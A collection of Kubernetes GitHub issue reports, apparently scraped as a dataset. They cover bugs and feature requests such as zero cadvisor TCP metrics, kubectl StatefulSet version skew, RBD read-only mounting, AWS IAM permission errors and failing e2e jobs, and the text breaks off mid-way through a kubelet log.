is this a bug report or feature request?  :\r \r  \r   what happened  :\r the cadvisor metrics \ container_network_tcp_usage_total\  from \ http://my-host:4194/metrics\  always \ 0\ \r both of my 2 k8s cluster with different version has the same problem\r \r   what you expected to happen  :\r i want to get the count of container tcp connections \r \r   environment1  :\r - kubernetes version  use  kubectl version  : 1.9.0\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts \r - kernel  e.g.  uname -a  : 4.4.0-98-generic\r \r   environment2  :\r - kubernetes version  use  kubectl version  : 1.8.7\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708\r - kernel  e.g.  uname -a  : 3.10.0-693.5.2.el7.x86_64\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  : after determining i needed kubelet to launch with extra arguments, i could easily see the unused  kubelet_extra_args  in  10-kubeadm.conf . \r \r   what you expected to happen  : while it might be reasonable to add to the environment in that file, rhel convention is to use an  environmentfile  inside  /etc/sysconfig . \r \r   how to reproduce it  as minimally and precisely as possible   :\r install software on rhel.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   what happened  :\r seems like kubectl port-forwarding has a hardcoded concept that assumes target pod/container to be listening on 127.0.0.1. we've ran into some trouble for containers that appear listen on ip of the pod only. yeah i know, it's enough to just change listen address of app in the pod to 0.0.0.0 and it should resolve it - try that with legacy apps and slower code cycle changes apps. \r \r   what you expected to happen  :\r can some flag/switch be considered to be added to kubectl port-forwarding invocation that will change target listening ip addr for pods pls ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a pod that listens at non 127.0.0.1, try to redirect it with kubectl port-forwarding\r \r   anything else we need to know?  :\r \r   environment  :\r true for pretty much any setup \r \r <!-- do not edit below this line -->\r  /sig-cli

pr  68925 did get a /lgtm comment but not the corresponding lgtm label i'd expect. is this a bug or is there some other requirement to be met that i'm not aware of?\r

what happened  :\r \r after fixing golint failures under  test/e2e   now still in progress , we need to put  gomega  for each  expect    and  haveoccurred   .\r then common error checking code has become like:\r \r  gomega.expect err .to gomega.haveoccurred    \r \r we can replace this code with  framework.expecterror err   which is more readable and easy to be understood what the code does.\r \r now we have following e2e test directories which can be replaced:\r -  x  test/e2e/apimachinery/  https://github.com/kubernetes/kubernetes/pull/78279 \r -  x  test/e2e/apps/  https://github.com/kubernetes/kubernetes/pull/78279 \r -  x  test/e2e/auth/  https://github.com/kubernetes/kubernetes/pull/78279 \r -  x  test/e2e/common/  https://github.com/kubernetes/kubernetes/pull/78283 \r -     test/e2e/node/  https://github.com/kubernetes/kubernetes/pull/78485 \r -     test/e2e/storage/  https://github.com/kubernetes/kubernetes/pull/78485 \r -  x  test/e2e/apps/deployment.go  https://github.com/kubernetes/kubernetes/pull/77709 \r -  x  test/e2e/apps/cronjob.go  https://github.com/kubernetes/kubernetes/pull/77709 \r -  x  test/e2e/apimachinery/resource_quota.go  https://github.com/kubernetes/kubernetes/pull/77709 \r -  x  test/e2e/scheduling/limit_range.go  https://github.com/kubernetes/kubernetes/pull/77714 \r -  x  test/e2e/kubectl/kubectl.go  https://github.com/kubernetes/kubernetes/pull/77709 \r -  x  test/e2e/lifecycle/addon_update.go  https://github.com/kubernetes/kubernetes/pull/77709 \r -  x  test/e2e/storage/volume_provisioning.go\r -  x  test/e2e/storage/persistent_volumes-local.go\r -  x  test/e2e/storage/volume_metrics.go   https://github.com/kubernetes/kubernetes/pull/77718 \r -  x  test/e2e/storage/testsuites/volumemode.go  https://github.com/kubernetes/kubernetes/pull/77718 \r -  x  test/e2e/storage/vsphere/vsphere_zone_support.go\r -  x  test/e2e/storage/vsphere/vsphere_volume_vsan_policy.go\r -  x  test/e2e/storage/vsphere/vsphere_volume_datastore.go\r -  x  test/e2e/storage/vsphere/vsphere_volume_fstype.go\r -  x  test/e2e/node/kubelet.go  https://github.com/kubernetes/kubernetes/pull/77715 \r

description  : kubernetes version: v0.18.2 start apiserver with unit file provided by  kube-apiserver.service  https://github.com/googlecloudplatform/kubernetes/tree/master/contrib/init/systemd/kube-apiserver.service ,   systemctl start kube-apiserver   hangs with \ /usr/bin/systemd-tty-ask-password-agent --watch\ , at last, systemd returns \ job for apiserver.service failed. see 'systemctl status apiserver.service' and 'journalctl -xn' for details.\ , but apiserver process has been launched background.    temp solution  : comments line  type=notify  in apiserver.service,   systemctl start kube-apiserver   doesn't hang again, can normally return.  is this a bug like  here  https://bugzilla.redhat.com/show_bug.cgi?id=907579 ?

i'm getting a weird bug: the pod is reported as running via k8s api-server. but the container that runnig the application was actually exited, only the pause container  gcr.io/google_containers/pause:0.8.0  is running, not the actual container.      $ docker ps -a | grep ms-issue 1754ddbbfbd8        agencyrev/workflow.microservice.issue:v0.0.9                          \ npm start\             2 days ago          exited  1  11 hours ago                       k8s_workflow-microservice-issue.458c077c_rc--ms-issue--v0.0.9-btryt_staging_18d44bae-dac7-11e5-889c-00155d08db02_965dee2f 30c0addd88ef        gcr.io/google_containers/pause:0.8.0                                  \ /pause\                2 days ago          up 2 days                                     k8s_pod.b5de0404_rc--ms-issue--v0.0.9-btryt_staging_18d44bae-dac7-11e5-889c-00155d08db02_e427af83      as you can see, the node container was exited 11 hours ago, but the  /pause  is still running, that why it is reported as running. i noticed this issue because i kept getting error  dial failed: connection refused  in the  kube-proxy . and not just this pod, i got some other pods that ran into this as well.  i don't know what caused it, but is that possible? and how?  i'm using kubernetes version v1.1.7      $ kubetctl version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.7\ , gitcommit:\ e4e6878293a339e4087dae684647c9e53f1cf9f0\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.7\ , gitcommit:\ e4e6878293a339e4087dae684647c9e53f1cf9f0\ , gittreestate:\ clean\ }          $ docker version client version: 1.7.1 client api version: 1.19 go version  client : go1.4.2 git commit  client : 2c2c52b-dirty os/arch  client : linux/amd64 server version: 1.7.1 server api version: 1.19 go version  server : go1.4.2 git commit  server : 2c2c52b-dirty os/arch  server : linux/amd64          $ uname -a linux dev-coreos-k8s_14 4.1.5-coreos  2 smp thu aug 13 09:18:45 utc 2015 x86_64 intel r  xeon r  cpu e5-2620 v2 @ 2.10ghz genuineintel gnu/linux       \\  update the issue above leads to other issue, that i cannot stop the pod without  --grace-period=0  option  the status was always at  terminating  with default grace-period 30s . and even if after the pod was stopped, the  pause  container is still there. i had to stop it with  docker stop

i think we should follow https://golang.org/doc/go1.4 canonicalimports and decorate all of our packages with their canonical paths.  it's sort of tedious, but i have heard a few people who were unhappy that our code lives in  github.com/kubernetes/kubernetes , but our go import is  k8s.io/kubernetes .  this should at least cause a more obvious error.  i suppose that means that every package gets a doc.go with this declaration.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r configmap does not work on windows as the existing code gets the pod/plugin directories in linux specific way. update it so that it gets the directory paths dependent on underlying os.\r

bug report  \r \r when running either  kubectl delete statefulset <statefulset name>  or  kubectl scale statefulset <statefulset name> --replicas=<count>  with kubectl 1.6.2 against a gke cluster 1.5.6 it fails with an error like the following.\r \r    \r error: scaling the resource failed with: statefulset.apps \ <statefulset name>\  is invalid: spec: forbidden: updates to statefulset spec for fields other than 'replicas' are forbidden.; current resource version 100392498\r    \r \r this happened the other way around as well with kubectl 1.5.x against a gke 1.6.x cluster.\r \r for scaling there's a working alernative by running  kubectl patch statefulsets <statefulset name> -p '{\ spec\ :{\ replicas\ :'<count>'}}' . unfortunately i haven't found a workaround yet for deleting the statefulset.\r \r   kubernetes version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   google container engine 1.6.2 with cos image  :\r -   os    e.g. from /etc/os-release :\r \r    \r build_id=9000.84.2\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=56\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=56\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r -   kernel    e.g.  uname -a  :\r \r    \r linux gke-production-europe-we-auto-scaling-917da0af-zzzj 4.4.21+  1 smp fri feb 17 15:34:45 pst 2017 x86_64 intel \r r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r    \r \r   what happened  :\r \r -  kubectl delete statefulset <statefulset name>  failed with  updates to statefulset spec for fields other than 'replicas' are forbidden  error\r -  kubectl scale statefulset <statefulset name> --replicas=<count>  failed with  updates to statefulset spec for fields other than 'replicas' are forbidden  error\r \r   what you expected to happen  :\r \r both actions to succeed\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - create a statefulset in a gke 1.5.6 cluster\r - run the above commands with kubectl 1.6.2\r \r   anything else we need to know  :\r \r happens for kubectl 1.5.x with gke 1.6.x as well.

bug report  \r \r   kubernetes version  :\r    golang\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t23:37:53z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r - ~~  cloud provider or hardware configuration  :~~\r -   os  : macos 10.12.4\r -   kernel  : darwin kernel version 16.5.0\r - ~~  install tools  ~~:\r - ~~  others  ~~:\r \r \r   what happened  :\r when running  kubectl delete statefullset name --cascade false  the cascade flag is ignored.\r \r   what you expected to happen  :\r either cascade be set to false or an error to be raised.\r \r   how to reproduce it  :\r run  kubectl delete statefulset name --cascade false \r \r   anything else we need to know  :\r the  documentation for deleting statefullsets  https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/ deleting-statefulsets  uses the same command with an  = .\r this is the first situation i've seen where using an  =  matters.\r \r i realize this may not be an issue with kubectl itself, but the severity is much higher for the kube community.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : cni binaries, cni vendordirprefix\r \r ---\r \r   is this a bug report or feature request?   : feature\r \r   what happened  :\r inconsistent find-path  for cni binaries in cni:\r \r  cni plugin loopback binary path find   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/cni/cni.go l163 \r the  is vendor dir > bin dir\r    go\r cninet := &libcni.cniconfig{\r \tpath:   string{vendorcnidir vendordirprefix, \ loopback\  , bindir},\r }\r    \r \r  for the   all   other binaries the path find   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/cni/cni.go l137 \r the  is bin dir > vendor dir\r \r    go\r cninet := &libcni.cniconfig{\r \tpath:   string{bindir, vendordir},\r }\r    \r \r   what you expected to happen  :\r it would be better if this behavior is consistent. most probably, vendor dir > bin dir makes more sense.\r \r /cc: @aaronlevy

this is the first build on which ci-kubernetes-e2e-gce-federation started constantly failing: \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/4503/\r \r cc/ @kubernetes/sig-federation-misc cc/ @csbell \r \r cc/ @kubernetes/kubernetes-release-managers @marun \r

/ / /area platform/gke\r @kubernetes/sig-scheduling-test-failures\r fyi @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-02.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-alpha.3  https://github.com/kubernetes/sig-release/issues/27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/454\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/455\r - latest bad as of filing: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/504\r - suspect changelog: https://github.com/kubernetes/kubernetes/compare/55e216f56...3a15fdbe7\r \r this seems like the same failures as  55189

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r $ make test goflags='-v -run testensureexternalloadbalancer' what=k8s.io/kubernetes/pkg/cloudprovider/providers/gce\r ...\r === run   testensureexternalloadbalancer\r --- fail: testensureexternalloadbalancer  0.01s \r         error trace:    gce_loadbalancer_external_test.go:252\r \terror:      \treceived unexpected error:\r \t            \tgoogle: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.\r fail\r exit status 1\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/gce\t0.031s\r makefile:182: recipe for target 'test' failed\r    \r \r several other testensureexternalloadbalancer  tests fail the same way.\r \r   what you expected to happen  :\r \r unit testing should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r i started bisecting, but already the very first commit introducing this test  6fedaa88ec764d8442ca2ec7bf9b0d60eed447e2  fails for me, so it looks like this test has had this issue from the beginning.\r \r   environment  :\r - kubernetes version  use  kubectl version  : current master, \r - os  e.g. from /etc/os-release : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : 4.9.0-5-amd64\r \r /cc @agau4779

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i created a job with parallelism=2, 1 container in each pod, and a rbd volume attached to the container.  attachment was read-only.\r only 1 pod got the rbd mounted while the other pod failed with \ still in use\  in syslog, referencing the code in rbd_util.go that checks watchers.  note that this is not the same thing as this:\r https://github.com/kubernetes/kubernetes/pull/63424\r \r which refers to persistent volumes.  this is not a persistent volume -the use case is to map read-only data to multiple containers from a single rbd, like for using a reference data set, etc.  according to the documentation this  should  work  see below .\r \r   what you expected to happen  :\r \r i expect this to happen per the documentation: https://kubernetes.io/docs/concepts/storage/volumes/ rbd\r \r \ a feature of rbd is that it can be mounted as read-only by multiple consumers simultaneously. this means that you can pre-populate a volume with your dataset and then serve it in parallel from as many pods as you need. unfortunately, rbd volumes can only be mounted by a single consumer in read-write mode - no simultaneous writers allowed.\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create 2 pods, each with 1 container mapping a single rbd read only.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.4\r - cloud provider or hardware configuration:\r self, x86_64 systems\r - os  e.g. from /etc/os-release : ubuntu xenial\r - kernel  e.g.  uname -a  :\r linux dal1util6p30 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r ceph\r - others:\r i believe that in the case where a read-only mapping is being requested, the code should not check watchers.  again this is consistent with the documentation but it doesn't work that way.  if a pv/pvc is the \ right\  way to do this it seems seriously overkill and the management overhead is severe, especially in a large scale environment.  the documentation states that the advantage of rbd is to be able to attach read-only volumes to multiple containers concurrently, and this is how i believe it should work.  the watcher check is artificial and really needs to apply only to read/write.  i can fix this bug myself but would like to understand the reasoning behind it a bit more.\r thanks!\r leo reiter

i found this info on every node。and when i remove the  node.kubernetes.io/network-unavailable:noschedule taint。soon k8s will generate another the same taint。\r what‘s going on，anyone help？\r taints:             node.kubernetes.io/network-unavailable:noschedule\r unschedulable:      false\r conditions:\r   type                 status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----                 ------  -----------------                 ------------------                ------                       -------\r   networkunavailable   true    wed, 06 feb 2019 14:24:05 +0800   wed, 06 feb 2019 14:24:05 +0800   noroutecreated               routecontroller failed to create a route

this is the time from when a service is created until its endpoints are populated, given that all of the associated pods are already running & ready.  i suggest 5s median and 10s tail  99th percentile . currently we look to be about 15s median, 16s tail, on my little cluster.

we need to keep the release branch free of non-cherry-pick prs in general, but the github ui doesn't throw it in peoples faces, so things like  12939 slip in  and i've had to close 2-3 others . this is probably a good use for bots.  @brendandburns, up for a little more automation?

hi team:    bug report      kubernetes version   :  v1.3.7     environment  : -  vagrant  -   os    e.g. from /etc/os-release :       name=coreos id=coreos version=1153.4.0 version_id=1153.4.0 build_id=2016-09-10-0107 pretty_name=\ coreos 1153.4.0  moreos \  ansi_color=\ 1;32\  home_url=\ https://coreos.com/\  bug_report_url=\ https://github.com/coreos/bugs/issues\      -   kernel    e.g.  uname -a  : linux core-01 4.7.1-coreos -   install tools  : rkt   journalctl -u kubelet :  shows the kubelet warning  failed to create summary reader for \ /machine.slice/kubelet.service/system.slice/hyperkube.service\   https://github.com/kubernetes/kubernetes/blob/1.3.7/vendor/github.com/google/cadvisor/manager/container.go l352 . i didn't create the  hyperkube.service . it just forks kubelet like this      exec /usr/bin/rkt run \\   --volume etc-kubernetes,kind=host,source=/etc/kubernetes \\   --volume etc-ssl-certs,kind=host,source=/usr/share/ca-certificates \\   --volume var-lib-docker,kind=host,source=/var/lib/docker \\   --volume var-lib-kubelet,kind=host,source=/var/lib/kubelet \\   --volume os-release,kind=host,source=/usr/lib/os-release \\   --volume run,kind=host,source=/run \\   --mount volume=etc-kubernetes,target=/etc/kubernetes \\   --mount volume=etc-ssl-certs,target=/etc/ssl/certs \\   --mount volume=var-lib-docker,target=/var/lib/docker \\   --mount volume=var-lib-kubelet,target=/var/lib/kubelet \\   --mount volume=os-release,target=/etc/os-release \\   --mount volume=run,target=/run \\   --trust-keys-from-https \\   $rkt_opts \\   --stage1-from-dir=stage1-fly.aci \\   ${kubelet_aci}:${kubelet_version} --exec=/kubelet -- \ $@\       here is the  systemd  unit:             service        slice=machine.slice       execstartpre=/usr/bin/mkdir -p /etc/kubernetes/manifests       environment=\ rkt_opts=--insecure-options=image \\         --volume dns,kind=host,source=/etc/resolv.conf \\         --mount volume=dns,target=/etc/resolv.conf \\         --volume rkt,kind=host,source=/usr/bin/rkt \\         --mount volume=rkt,target=/usr/bin/rkt \\         --volume var-lib-rkt,kind=host,source=/var/lib/rkt \\         --mount volume=var-lib-rkt,target=/var/lib/rkt \\         --volume stage,kind=host,source=/tmp \\         --mount volume=stage,target=/tmp \\         --volume var-log,kind=host,source=/var/log \\         --mount volume=var-log,target=/var/log\        environment=kubelet_version=v1.3.7       environment=kubelet_aci=docker://gcr.io/google_containers/hyperkube       execstart=/usr/lib/coreos/kubelet-wrapper \\         --register-node=false \\         --config=/etc/kubernetes/manifests \\         --allow-privileged=true       killmode=mixed       restart=always       restartsec=10       here is the kubelet-wrapper what i use.  https://github.com/coreos/coreos-overlay/blob/master/app-admin/kubelet-wrapper/files/kubelet-wrapper

as discussed in https://github.com/kubernetes/kubernetes/pull/46734 the 1.7 implementation of openapi aggregation is reverted on master via https://github.com/kubernetes/kubernetes/pull/48547, in favor of a less intrusive implementation for 1.8.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r /area ipv6\r  \r   what happened  :\r the e2e iperf test case currently only runs in ipv4 mode.\r \r   what you expected to happen  :\r there should be an option to run an iperf test in ipv6 mode  i.e. by running iperf with a \ -v\  command line flag, so that the test can be run on ipv6-only clusters.\r \r   how to reproduce it  as minimally and precisely as possible   :\r view the code: test/e2e/network/networking_perf.go:networkingiperftest  , or run the existing test on an ipv6-only cluster.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r    \r nov 10 14:44:53 {hidden} kubelet 25169 : i1110 14:44:53.525456   25169 aws.go:847  building aws cloudprovider\r nov 10 14:44:53 {hidden} kubelet 25169 : error: failed to run kubelet: could not init cloud provider \ aws\ : error finding instance {hidden}: \ error listing aws instances: \\\ unauthorizedoperation: you are not authorized to perform this operation.\\\ \\\\tstatus code: 403, request id: {hidden}\\\ \ \r    \r \r   what you expected to happen  :\r \r that the aws cloud provider should work with minimal permissions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r using standalone  kubelet  with  --cloud-provider=aws .\r \r the instance iam role only has the following permissions:\r \r    json\r {\r     \ version\ : \ 2012-10-17\ ,\r     \ statement\ :  \r         {\r             \ effect\ : \ allow\ ,\r             \ action\ :  \r                 \ ecr:getauthorizationtoken\ ,\r                 \ ecr:batchchecklayeravailability\ ,\r                 \ ecr:getdownloadurlforlayer\ ,\r                 \ ecr:getrepositorypolicy\ ,\r                 \ ecr:describerepositories\ ,\r                 \ ecr:listimages\ ,\r                 \ ecr:describeimages\ ,\r                 \ ecr:batchgetimage\ \r              ,\r             \ resource\ : \  \ \r         }\r      \r }\r     \r \r   anything else we need to know?  :\r \r attempting to use docker images from a private ec2 container service with static pods in kubelet.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  kubernetes v1.8.2   kubelet version \r - cloud provider or hardware configuration:  aws ec2

 \r there are several error messages in the scheduler cache that are confusing to read, at least one of these surfaced up to end users via events. i noticed these two in particular but there may be others:\r \r  pod %v state wasn't initial but get assumed \r  pod %v state wasn't assumed but get forgotten \r \r whether or not these should actually be surfacing as events, the messages should be cleaned up.

example: https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.9-master-upgrade-cluster-parallel, and other suites in the master-upgrade dashboard\r \r /  /status approved-for-milestone\r  \r cc @jdumars @jberkus @mattfarina @kow3ns @prydonius

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  > \r \r   what happened  :  the liveness probe configured doesn't support redirection of url, error says \ failed after 10 redirects\  and restarts the container, when hit manually the same url works fine i.e. first 302 then 200 status code. although the documentation says status code 200 to 400 is supported. is there a provision or a configurable parameter through which we can do this ? \r \r   what you expected to happen  : liveness probe to bypass the redirection and not restart the pod\r \r   how to reproduce it  as minimally and precisely as possible   : configure liveness probe where a url is redirected to some other url\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r running on a virtual machine\r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r linux vm4-173 3.10.0-693.21.1.el7.x86_64\r - install tools:\r - others:\r

to reproduce:\r \r 1. go to https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/\r 2. click on any section index item below  config and storage apis > volumeattachment v1beta1 storage.k8s.io   for example,  cluster apis > namespace v1 core  \r 3. the focus goes to  cluster apis  click on  namespace v1 core .  the index view automatically scrolls to and focuses on  config and storage apis > volumeattachment v1beta1 storage.k8s.io > read operations > watch list \r \r for step 2, any section index before will trigger the expected autoscroll result  for example, click on  workloads apis > replicaset v1 apps  .

what happened  :\r i used the  kubeadm init --kubernetes-version=v1.13.2  initial cluster, and after creating the  calico  plug-in, there was an error querying the kubelet status. note: single-node cluster \r the query uses the following command:\r  systemctl status kubelet \r \r   what you expected to happen  :\r there is nothing wrong with my cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubeadm init --kubernetes-version=v1.13.2\r kubectl create -f setcalico.yaml\r kubectl taint nodes --all node-role.kubernetes.io/master-\r systemctl status kubelet\r    \r \r   anything else we need to know?  :\r check the cluster:\r    \r root@ubuntumaster001:/home/liudui  kubectl get pod --all-namespaces -o wide\r namespace     name                                       ready   status    restarts   age   ip               node              nominated node   readiness gates\r kube-system   calico-etcd-wcls6                          1/1     running   0          19m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   calico-kube-controllers-584856c694-hbpzk   1/1     running   0          20m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   calico-node-hzs7g                          2/2     running   2          20m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   coredns-86c58d9df4-dnbj6                   1/1     running   0          20m   192.168.229.56   ubuntumaster001   <none>           <none>\r kube-system   coredns-86c58d9df4-zm42b                   1/1     running   0          20m   192.168.229.46   ubuntumaster001   <none>           <none>\r kube-system   etcd-ubuntumaster001                       1/1     running   0          20m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   kube-apiserver-ubuntumaster001             1/1     running   0          19m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   kube-controller-manager-ubuntumaster001    1/1     running   0          20m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   kube-proxy-jjz8s                           1/1     running   0          20m   10.20.14.121     ubuntumaster001   <none>           <none>\r kube-system   kube-scheduler-ubuntumaster001             1/1     running   0          20m   10.20.14.121     ubuntumaster001   <none>           <none>\r \r    \r \r error message:\r    \r 3月 29 15:58:09 ubuntumaster001 kubelet 28193 : 2019-03-29 15:58:06.067  info  30437  k8s.go 294: added mac, interface name, and active container id to endpoint containerid=\ 3a63a15f16bfd24e7760c9727a5238db8cfef6244df73c2e01d99fde58c4c73a\  namespace=\ kube-system\  pod=\ coredns-86c58d9df4-dnbj6\  workloadendpoint=\ ubuntumaster001-k8s-coredns--86c58d9df4--dnbj6-eth0\  endpoint=&v3.workloadendpoint{typemeta:v1.typemeta{kind:\ workloadendpoint\ , apiversion:\ projectcalico.org/v3\ }, objectmeta:v1.objectmeta{name:\ ubuntumaster001-k8s-coredns--86c58d9df4--dnbj6-eth0\ , generatename:\ \ , namespace:\ kube-system\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\ pod-template-hash\ 